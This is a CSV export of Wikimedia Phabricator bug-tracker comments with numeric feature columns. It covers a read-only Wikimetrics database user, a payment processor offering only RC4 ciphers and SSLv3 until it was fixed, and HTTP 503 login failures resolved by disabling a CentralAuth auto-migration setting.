343033,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"User ""research"" only has permits to ""wikimetrics"" database.",,,1418757681,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7692307692307693,"User ""research"" only has permits to ""wikimetrics"" database."
343030,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Per ottomat's suggestion we just run the grants for the read only user in production (use is called ""research"") rather than puppetize teh setup. User is available as of today.",,,1418757626,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,16.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.945945945945946,0.8918918918918919,"Per ottomat's suggestion we just run the grants for the read only user in production (use is called ""research"") rather than puppetize teh setup. User is available as of today."
343014,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 180222 had a related patch set uploaded (by Nuria):
Adding 'research' read only user to wikimetrics db

[[https://gerrit.wikimedia.org/r/180222]]

#patch-for-review",,,1418755581,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,3.5555555555555554,0.8333333333333334,"Change 180222 had a related patch set uploaded (by Nuria):
Adding 'research' read only user to wikimetrics db

[[GERRIT_URL]]

#patch-for-review"
75644,Payment processor website uses RC4 for https encryption,"**Author:** `axel+wikimedia`

**Description:**
Hi,
When trying to make a donation, after entering the amount I wanted to donate I was redirected to a server, ott9.wpstn.com.
From what I can tell, it's a WorldPay.ca (payment processor) server.

Having configured Firefox to refuse all connections using the RC4 cipher for SSL/TLS (as RC4 is deprecated and considered insecure), I was not able to establish a connection to the server (Firefox shows the “no cipher overlap” error).

An SSL test for the domain shows that it indeed offers RC4 (and nothing else):
https://www.ssllabs.com/ssltest/analyze.html?d=ott9.wpstn.com

This is bad. RC4-encrypted traffic has been likened by some infosec researchers to “no encryption” and the NSA can allegedly break it in real-time.

Here is the (very poor) list of ciphers offered by the server:
TLS_RSA_WITH_RC4_128_MD5 (0x4) 	128
TLS_RSA_WITH_RC4_128_SHA (0x5) 	128
TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)   ECDH 571 bits (eq. 15360 bits RSA)   FS		128

Furthermore, the server is still offering SSLv3. That should also be disabled, following the POODLE vulnerability published about a month ago.

The server should be offering modern encryption (forward secrecy, no SSL, strong non-deprecated ciphers).
Here is a good guide on how to do it on Apache2:
https://raymii.org/s/tutorials/Strong_SSL_Security_On_Apache2.html

I hope this can be resolved quickly as the Wikipedia fundraising campaign is ongoing and I don't feel comfortable giving in such conditions nor recommending others do so, even if I believe it is really important they do support Wikipedia, when the payment processor's security is in such a sad state.

--------------------------
**Version**: wmf-deployment
**Severity**: major",High,80.0,1416479220,1418447589.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-rztl5jtgoompxnmhf4iv,task_description,resolved,True,c3,1,False,False,True,-32,True,0.5,0.0,0.25,1.25,0.5,4.75,1.75,0.0,0.0,0.25,1.5,0.25,0.0,0.0,0.0,1.75,0.5,5.25,6.25,0.25,1.25,0.5,0.0,0.0,1.0,0.25,0.0,0.0,0.75,0.0,0.25,4.75,1.75,1.25,0.25,0.0,0.0,0.0,0.25,0.5,0.75,0.25,0.0,3.75,0.25,0.5,0.0,0.0,0.25,10.5,0.75,0.0,0.0,0.75,0.0,0.5,0.0,0.5,0.75,0.25,0.5,1.0,0.0,0.75,0.0,0.0,0.0,5.25,3.75,12.25,1.25,1.25,7.75,0.0,0.0,0.0,0.0,3.25,0.0,1.75,0.0,3.5,6.25,6.0,0.0,0.0,0.0,3.5,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9319161442006267,0.6894919017763845,"**Author:** CODE

**Description:**
Hi,
When trying to make a donation, after entering the amount I wanted to donate I was redirected to a server, ott9.wpstn.com.
From what I can tell, it's a WorldPay.ca (payment processor) server.

Having configured Firefox to refuse all connections using the RC4 cipher for SSL/TLS (as RC4 is deprecated and considered insecure), I was not able to establish a connection to the server (Firefox shows the “no cipher overlap” error).

An SSL test for the domain shows that it indeed offers RC4 (and nothing else):
URL

This is bad. RC4-encrypted traffic has been likened by some infosec researchers to “no encryption” and the NSA can allegedly break it in real-time.

Here is the (very poor) list of ciphers offered by the server:
TLS_RSA_WITH_RC4_128_MD5 (0x4) 	128
TLS_RSA_WITH_RC4_128_SHA (0x5) 	128
TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)   ECDH 571 bits (eq. 15360 bits RSA)   FS		128

Furthermore, the server is still offering SSLv3. That should also be disabled, following the POODLE vulnerability published about a month ago.

The server should be offering modern encryption (forward secrecy, no SSL, strong non-deprecated ciphers).
Here is a good guide on how to do it on Apache2:
URL

I hope this can be resolved quickly as the Wikipedia fundraising campaign is ongoing and I don't feel comfortable giving in such conditions nor recommending others do so, even if I believe it is really important they do support Wikipedia, when the payment processor's security is in such a sad state.

--------------------------
**Version**: wmf-deployment
**Severity**: major"
341864,Payment processor website uses RC4 for https encryption,"It seems they have fixed the issue. They have enabled some cipher suites besides RC4. SSL 3.0 has been disabled.

https://www.ssllabs.com/ssltest/analyze.html?d=ott9.wpstn.com",,,1418447521,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,True,,,-29,True,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.92,0.88,"It seems they have fixed the issue. They have enabled some cipher suites besides RC4. SSL 3.0 has been disabled.

URL"
339907,Payment processor website uses RC4 for https encryption,"Fair enough. Marking as stalled, as we are still waiting for the third party to resolve this issue. ",,,1418146102,,PHID-USER-tp64che5v7h6hgmz6obb,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.9047619047619047,0.9047619047619048,"Fair enough. Marking as stalled, as we are still waiting for the third party to resolve this issue. "
339810,Payment processor website uses RC4 for https encryption,"Thanks for filing this issue. We don't usually close a bug just because a fix is planned; ""Open, stalled"" would be a more standard status (I just checked and the issue wasn't resolved yet).",,,1418132529,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,5.0,5.0,5.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,3.5454545454545454,0.8409090909090909,"Thanks for filing this issue. We don't usually close a bug just because a fix is planned; ""Open, stalled"" would be a more standard status (I just checked and the issue wasn't resolved yet)."
332801,Payment processor website uses RC4 for https encryption,"While you may say ""it presents very little risk in this context"", the real issue here is that the existence of RC4-only servers prevents the clients from disabling RC4 ciphers entirely. Browsers have to support RC4 to make these websites, such as Worldpay, ""just work"". According to SSL Pulse, 1.4% of sites require RC4, and 27.3% of sites use RC4 with modern browsers. If there were no such 1.4% sites, browsers could have disabled RC4 ciphers by now so that users are immune to RC4 attacks no matter which websites they visit. However, now **these 1.4% of websites, including Worldpay, make 27.3% of websites in the world vulnerable to RC4 attacks**. You may argue that the 27.3% websites are also wrong in that they support and prioritize RC4 ciphers. That's right. But practically it's easier for RC4-only websites to add more cipher suites, because I see no servers use RC4 only as their default cipher suite list.

Anyway, writing this post, I just want to point out that this is a big issue, regardless of whether ""it presents very little risk in this context"" or not. I hope Worldpay can fix this issue as soon as possible.",,,1416878671,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,1.0,0.0,0.3333333333333333,6.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,7.0,12.666666666666666,0.0,1.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,6.333333333333333,0.6666666666666666,1.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,17.666666666666668,0.6666666666666666,3.6666666666666665,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.6666666666666667,10.0,3.6666666666666665,1.3333333333333333,6.333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,0.0,2.0,0.0,4.0,12.666666666666666,3.6666666666666665,0.0,2.0,0.0,4.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,3.8518518518518516,0.7037037037037036,"While you may say ""it presents very little risk in this context"", the real issue here is that the existence of RC4-only servers prevents the clients from disabling RC4 ciphers entirely. Browsers have to support RC4 to make these websites, such as Worldpay, ""just work"". According to SSL Pulse, 1.4% of sites require RC4, and 27.3% of sites use RC4 with modern browsers. If there were no such 1.4% sites, browsers could have disabled RC4 ciphers by now so that users are immune to RC4 attacks no matter which websites they visit. However, now **these 1.4% of websites, including Worldpay, make 27.3% of websites in the world vulnerable to RC4 attacks**. You may argue that the 27.3% websites are also wrong in that they support and prioritize RC4 ciphers. That's right. But practically it's easier for RC4-only websites to add more cipher suites, because I see no servers use RC4 only as their default cipher suite list.

Anyway, writing this post, I just want to point out that this is a big issue, regardless of whether ""it presents very little risk in this context"" or not. I hope Worldpay can fix this issue as soon as possible."
332727,Payment processor website uses RC4 for https encryption,"Thank you for raising this issue. 

While RC4 does have several well-documented vulnerabilities, the best rely on finding short tokens across high volumes of repeated requests, such as session identifiers, which our users don't have with the Worldpay endpoint. Additionally, our Worldpay workflow relies on two endpoints: The public one that you identified, and a private secure endpoint which is used at the beginning of the workflow to issue a one-time token. While RC4 is less than ideal, it presents very little risk in this context.

Additionally, we have recently reached out to Worldpay and learned that they are currently in the process of scheduling a maintenance window in the near future, during which time they will be removing RC4 ciphers, adding TLS ciphers to the public endpoint, and disabling SSL 3.0.",,,1416867643,,PHID-USER-tp64che5v7h6hgmz6obb,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,False,,,-32,True,0.5,0.0,0.5,0.5,0.5,7.0,1.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.5,0.5,4.0,13.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,5.0,1.0,0.5,1.0,1.0,0.0,0.5,0.0,0.5,0.0,1.5,0.5,0.5,0.0,0.5,0.5,0.0,0.5,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,1.0,0.0,0.0,0.5,0.5,0.0,6.0,2.5,8.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,4.5,13.0,3.5,0.0,0.0,0.0,4.5,0.0,2.0,2.0,0.0,3.5,0.5,0.5,0.0,4.437562437562438,0.7805527805527805,"Thank you for raising this issue. 

While RC4 does have several well-documented vulnerabilities, the best rely on finding short tokens across high volumes of repeated requests, such as session identifiers, which our users don't have with the Worldpay endpoint. Additionally, our Worldpay workflow relies on two endpoints: The public one that you identified, and a private secure endpoint which is used at the beginning of the workflow to issue a one-time token. While RC4 is less than ideal, it presents very little risk in this context.

Additionally, we have recently reached out to Worldpay and learned that they are currently in the process of scheduling a maintenance window in the near future, during which time they will be removing RC4 ciphers, adding TLS ciphers to the public endpoint, and disabling SSL 3.0."
75462,Certain users are unable to log into their account (HTTP 503 upon login attempt),"**Author:** `sushant_savla`

**Description:**
Screen short showing error

----

Users unable to login in most cases, getting error 503 from varnish in return of the login form. If an incorrect password is entered, the form gracefully reloads. The issue seems quite widespread but is hard to reproduce: at least 5 users across 4 wikis.

For each affected user, the issue is often user account- and/or wiki-specific: sometimes a user is unable to access an increasingly large number of wikis; sometimes bypassing caches helps. No other pattern was detected.

Asked for some multi-week grep -c for action=submitlogin&type=login 503 errors in logs, requires shell user.
Some example timestamps: 15 Nov 2014 11:53:10 GMT, 08 Dec 2014 12:32:30 GMT, 08 Dec 2014 12:59:58 GMT, 10 Dec 2014 15:39:46 GMT, 11 Dec 2014 13:18:26 GMT.

----

When i try login in throogh Mozilla Fire fox i get error message sinc last 4 -5  days.

screen shot of error message enclosed/

Error reads

Wikimedia Foundation

Error

Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: POST http://gu.wikipedia.org/w/index.php?title=%E0%AA%B5%E0%AA%BF%E0%AA%B6%E0%AB%87%E0%AA%B7:%E0%AA%B8%E0%AA%AD%E0%AB%8D%E0%AA%AF%E0%AA%AA%E0%AB%8D%E0%AA%B0%E0%AA%B5%E0%AB%87%E0%AA%B6&action=submitlogin&type=login&returnto=%E0%AA%AE%E0%AB%81%E0%AA%96%E0%AA%AA%E0%AB%83%E0%AA%B7%E0%AB%8D%E0%AA%A0, from 10.64.0.103 via cp1055 cp1055 ([10.64.32.107]:3128), Varnish XID 3251470154
Forwarded for: 120.60.225.75, 208.80.154.77, 10.64.0.103
Error: 503, Service Unavailable at Sat, 15 Nov 2014 11:53:10 GMT


Same problem is not there in IE or Opera.

----
**Attached**: {F15399}",High,80.0,1416053400,1418774627.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-TASK-f6523rlmjhlpvxql3jr5,task_description,resolved,True,c3,1,False,False,True,-33,True,1.0,0.0,0.0,0.75,0.25,4.75,0.75,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.75,0.25,4.0,6.75,0.0,0.75,0.25,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.0,4.25,0.25,0.0,0.25,0.25,0.25,0.0,0.25,0.75,0.25,0.0,0.25,0.5,0.0,0.5,0.0,0.0,0.0,13.5,0.25,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,2.75,2.25,14.25,0.75,1.0,4.5,0.0,0.0,0.0,0.0,1.5,0.5,8.25,0.0,1.0,6.75,11.0,0.0,0.0,0.0,1.0,0.0,0.25,1.25,0.0,0.75,0.0,0.5,0.25,4.081712962962963,0.7540123456790123,"**Author:** CODE

**Description:**
Screen short showing error

----

Users unable to login in most cases, getting error 503 from varnish in return of the login form. If an incorrect password is entered, the form gracefully reloads. The issue seems quite widespread but is hard to reproduce: at least 5 users across 4 wikis.

For each affected user, the issue is often user account- and/or wiki-specific: sometimes a user is unable to access an increasingly large number of wikis; sometimes bypassing caches helps. No other pattern was detected.

Asked for some multi-week grep -c for action=submitlogin&type=login 503 errors in logs, requires shell user.
Some example timestamps: 15 Nov 2014 11:53:10 GMT, 08 Dec 2014 12:32:30 GMT, 08 Dec 2014 12:59:58 GMT, 10 Dec 2014 15:39:46 GMT, 11 Dec 2014 13:18:26 GMT.

----

When i try login in throogh Mozilla Fire fox i get error message sinc last 4 -5  days.

screen shot of error message enclosed/

Error reads

Wikimedia Foundation

Error

Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: POST URL from 10.64.0.103 via cp1055 cp1055 ([10.64.32.107]:3128), Varnish XID 3251470154
Forwarded for: 120.60.225.75, 208.80.154.77, 10.64.0.103
Error: 503, Service Unavailable at Sat, 15 Nov 2014 11:53:10 GMT


Same problem is not there in IE or Opera.

----
**Attached**: {F15399}"
402013,Certain users are unable to log into their account (HTTP 503 upon login attempt),There are recent similar reports from today in {T87300} and {T87305}. Sure this is really fixed? Could someone please take a look at those?,,,1421831825,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-24,True,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,10.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.7419354838709675,0.9032258064516129,There are recent similar reports from today in {T87300} and {T87305}. Sure this is really fixed? Could someone please take a look at those?
343317,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Also I confirm that for first time since 4th Dec. 2014, I have been able to login and relogin to fi.wikipedia with existing password normally. I validated this during last 30 min with IE, Firefox and Opera browsers with laptop and/or tablet (i.e. in two different operating systems). So, the problem seems to be solved. Thanks a lot! ",,,1418815707,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,3.0,4.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,4.0,0.0,4.0,16.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,4.119402985074627,0.835820895522388,"Also I confirm that for first time since 4th Dec. 2014, I have been able to login and relogin to fi.wikipedia with existing password normally. I validated this during last 30 min with IE, Firefox and Opera browsers with laptop and/or tablet (i.e. in two different operating systems). So, the problem seems to be solved. Thanks a lot! "
343150,Certain users are unable to log into their account (HTTP 503 upon login attempt),"From enwiki VPT: 

> OK, I was just able to log on. If someone implemented one of the older bug patches mentioned most recently in the ticket, it worked. Daniel Case (talk) 23:42, 16 December 2014 (UTC)",,,1418774627,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"From enwiki VPT: 

QUOTE"
343144,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If another user who was experiencing the 503s can confirm they can login now, I'll go ahead and close this. And filed {T78727} for followup.",,,1418774158,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,13.0,3.0,6.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7419354838709675,0.9354838709677419,"If another user who was experiencing the 503s can confirm they can login now, I'll go ahead and close this. And filed {T78727} for followup."
343138,Certain users are unable to log into their account (HTTP 503 upon login attempt),"@ori noticed that there were OOM error mesages corresponding with the same timestamp as the centralauth debug log entries. After disabling  $wgCentralAuthAutoMigrate, MG1 reported on IRC that they were able to login successfully.

Still unsure why the automigration process was causing OOMs...",,,1418773421,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,14.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,5.3061224489795915,0.8979591836734694,"SCREEN_NAME noticed that there were OOM error mesages corresponding with the same timestamp as the centralauth debug log entries. After disabling  $wgCentralAuthAutoMigrate, MG1 reported on IRC that they were able to login successfully.

Still unsure why the automigration process was causing OOMs..."
343130,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Change 180346 merged by jenkins-bot:
Temporarily disable $wgCentralAuthAutoMigrate

[[https://gerrit.wikimedia.org/r/180346]]",,,1418772119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.842105263157895,0.8947368421052632,"Change 180346 merged by jenkins-bot:
Temporarily disable $wgCentralAuthAutoMigrate

[[GERRIT_URL]]"
343128,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Change 180346 had a related patch set uploaded (by Legoktm):
Temporarily disable $wgCentralAuthAutoMigrate

[[https://gerrit.wikimedia.org/r/180346]]

#patch-for-review",,,1418771808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.333333333333333,0.8333333333333334,"Change 180346 had a related patch set uploaded (by Legoktm):
Temporarily disable $wgCentralAuthAutoMigrate

[[GERRIT_URL]]

#patch-for-review"
343116,Certain users are unable to log into their account (HTTP 503 upon login attempt),"1. I wonder if something has been done to fix the problem ""...the failure is probably in SpecialUserlogin between lines 790-807."" reported by User:Legoktm earlier?

